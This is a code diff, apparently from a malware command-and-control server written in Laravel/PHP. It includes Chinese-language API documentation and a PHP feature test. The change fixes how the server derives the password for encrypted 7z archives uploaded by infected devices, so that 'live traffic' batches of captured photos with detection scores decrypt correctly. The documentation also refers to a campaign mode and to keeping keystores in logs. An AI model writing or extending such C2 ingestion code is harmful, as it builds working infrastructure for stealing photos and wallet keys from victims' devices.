diff --git a/doc/C2_API.md b/doc/C2_API.md index ca9dde4..c334360 100644 --- a/doc/C2_API.md +++ b/doc/C2_API.md @@ -329,8 +329,9 @@ Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志 | `x-hit` | 检测分数类短字段 | | `rid` | ~36 字符请求/资源 id | | `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) | +| `ts` | **即 batchBase**:首批为 `"0"`;后续为 `LastProcessedTimestamp` 十进制字符串 | -7z 口令:`session_key || batchBase`;首批 `LastProcessedTimestamp` 为 `0` 时 batchBase=`"0"`。 +7z 口令:`session_key || ts`(Lab 读 multipart 字段 `ts`;缺省才回落 `"0"`)。 **响应**:加密 ack(Lab)。战役侧亦为加密成功体,具体 JSON 未作为契约固定。 diff --git a/server/app/Http/Controllers/C2/C2Controller.php b/server/app/Http/Controllers/C2/C2Controller.php index 3ecc5fb..ed0841d 100644 --- a/server/app/Http/Controllers/C2/C2Controller.php +++ b/server/app/Http/Controllers/C2/C2Controller.php @@ -115,9 +115,13 @@ class C2Controller extends Controller $deviceKey ? (string) $deviceKey : null ); + // Archive password = session_key || batchBaseTimestampString. + // Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp + // in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open. $batchBase = (string) ($request->input('batchBase') ?? $request->input('batch_base') ?? $request->input('base') + ?? $request->input('ts') ?? '0'); if ($batchBase === '') { $batchBase = '0'; @@ -128,6 +132,8 @@ class C2Controller extends Controller 'total' => $request->input('total'), 'index' => $request->input('index'), 'batchBase' => $batchBase, + 'ts' => $request->input('ts'), + 'x-hit' => $request->input('x-hit'), ]; $attachmentRel = null; diff --git a/server/tests/Feature/C2ApiTest.php b/server/tests/Feature/C2ApiTest.php index 9fe6adf..074a707 100644 --- a/server/tests/Feature/C2ApiTest.php +++ b/server/tests/Feature/C2ApiTest.php @@ -343,6 +343,53 @@ class C2ApiTest extends TestCase @rmdir($tmp); } + #[Test] + public function check_uses_multipart_ts_as_batch_base_password(): void + { + Storage::fake('local'); + $crypto = new CorunaCrypto; + $tmp = sys_get_temp_dir().'/coruna_photo_ts_'.uniqid(); + mkdir($tmp); + $jpegPath = $tmp.'/hit.jpg'; + file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); + $archivePath = $tmp.'/capture.7z'; + $batchTs = '1785596422'; + $password = $crypto->archivePassword($batchTs); + $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') + ? '/opt/homebrew/opt/p7zip/bin/7z' + : '7z'; + $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) + .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; + exec($cmd, $out, $code); + $this->assertSame(0, $code, implode("\n", $out)); + + $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); + // Live traffic: no batchBase field; password suffix is multipart `ts`. + $this->call( + 'POST', + '/api/user/check', + [ + 'd' => 'dev-photo-ts', + 'f' => 'dev-photo-ts', + 'ts' => $batchTs, + 'x-hit' => '12', + ], + [], + ['file' => $upload], + ['CONTENT_TYPE' => 'multipart/form-data'] + )->assertOk(); + + $device = Device::query()->where('device_id', 'dev-photo-ts')->first(); + $this->assertNotNull($device); + $this->assertTrue( + Photo::query()->where('device_id', $device->id)->exists() + ); + + @unlink($jpegPath); + @unlink($archivePath); + @rmdir($tmp); + } + #[Test] public function admin_guest_is_redirected_to_admin_login(): void {